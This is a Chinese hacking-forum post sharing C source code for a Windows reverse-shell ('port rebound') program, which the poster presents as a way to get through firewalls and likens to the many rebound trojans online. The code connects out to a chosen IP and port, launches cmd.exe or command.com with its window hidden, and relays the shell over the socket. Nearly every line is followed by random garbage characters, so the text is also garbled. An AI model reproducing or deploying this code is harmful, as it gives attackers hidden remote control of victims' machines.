社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4358阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d V%o:@Z  
uQdeKp4(  
/* ============================== f1NHW|_j  
Rebound port in Windows NT wBt7S!>G  
By wind,2006/7 rfDGS%!O%  
===============================*/ e N`+r  
#include CI*JedO]  
#include .-$3I|}X=  
cqU6 Y*n  
#pragma comment(lib,"wsock32.lib") /)K')  
/  Xnq0hN  
void OutputShell(); N[@~q~v  
SOCKET sClient; L|[i<s;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Od.@G~  
+}jzge"  
void main(int argc,char **argv) / `cy4<  
{ QMMpB{FZ`o  
WSADATA stWsaData; =p|IWn{P  
int nRet; 3[#^$_96b  
SOCKADDR_IN stSaiClient,stSaiServer; :[a*I6/^  
F- kjv\  
if(argc != 3) \d:Q%S  
{ .#y#u={{l  
printf("Useage:\n\rRebound DestIP DestPort\n"); C b'|  
return; \BBs;z[/  
} 05F/&+V  
c:Czu  
WSAStartup(MAKEWORD(2,2),&stWsaData);  W2` 3 p  
B1X&O d  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %)i&|AV"  
U<Oc&S{]*  
stSaiClient.sin_family = AF_INET; Vg62HZ |  
stSaiClient.sin_port = htons(0); zd_N' :6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ry[7PLn]  
p;4FZ$  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |X{j^JP 5  
{ "OwM' n8  
printf("Bind Socket Failed!\n"); :U\* 4l  
return; |kmP#`P~  
} +;+G+Tn  
D*UxPm"pw  
stSaiServer.sin_family = AF_INET; $.C\H,H  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G;gsDn1t  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @zGF9O<3,@  
M8lw; (  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f['I4 /o  
{ l&\y]ZV={  
printf("Connect Error!"); WG,Il/  
return; Xg.Lo2s  
} Ft;x@!h%  
OutputShell(); |HAbZd7PG  
} U ]pE{ ^\w  
gwNZ`_Q  
void OutputShell() |i B#   
{ 8Z}%,G*n  
char szBuff[1024]; 3]S_w[Q4  
SECURITY_ATTRIBUTES stSecurityAttributes; / 8O=3  
OSVERSIONINFO stOsversionInfo; R?{_Q<17  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; tF[) Y#  
STARTUPINFO stStartupInfo; m +A4aQ9  
char *szShell; )E9c6'd  
PROCESS_INFORMATION stProcessInformation; z81dm  
unsigned long lBytesRead; ~F@p}u8TV  
bD)"Jy  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0x*1I1(c  
HH6n3c!:mm  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E$_zBD%  
stSecurityAttributes.lpSecurityDescriptor = 0; 'Rnzu0<lF  
stSecurityAttributes.bInheritHandle = TRUE; #^9bBF/  
+Zi+ /9Z(H  
@GXKqi  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y?cN  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0.m-}  
f0@*>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #6~KO7}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [qY yr  
stStartupInfo.wShowWindow = SW_HIDE; =XYc2. t  
stStartupInfo.hStdInput = hReadPipe; @?s>oSyV  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xA^E+f:W_  
lpPPI+|4N  
GetVersionEx(&stOsversionInfo); '<,Dz=  
X<_HQ  
switch(stOsversionInfo.dwPlatformId) XD8Cf!  
{ N, u]2,E  
case 1: {oOUIP  
szShell = "command.com"; $+2QbEk&-  
break; %qsl<_&  
default: ] 0L=+=w  
szShell = "cmd.exe"; ZweAY.]e  
break; {nM1$  
} |[r7B*fw  
kE6/d,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FaJK R  
*]/iL#  
send(sClient,szMsg,77,0); Slo^tqbG  
while(1) pC,Z=+:  
{ J e|   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3ouy-SQ  
if(lBytesRead) x?A<X2  
{ Fa`%MR1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |) cJ  
send(sClient,szBuff,lBytesRead,0);  7L:Eg  
} ,_$J-F?  
else ]}Ys4(}  
{ WnGi;AGH=1  
lBytesRead=recv(sClient,szBuff,1024,0); ~u!V_su]GY  
if(lBytesRead<=0) break; ?zP 2   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t+d7{&B  
} |d~'X%b%  
} va QsG6q[  
rF}Q(<Y86  
return; #c' B2Jn  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五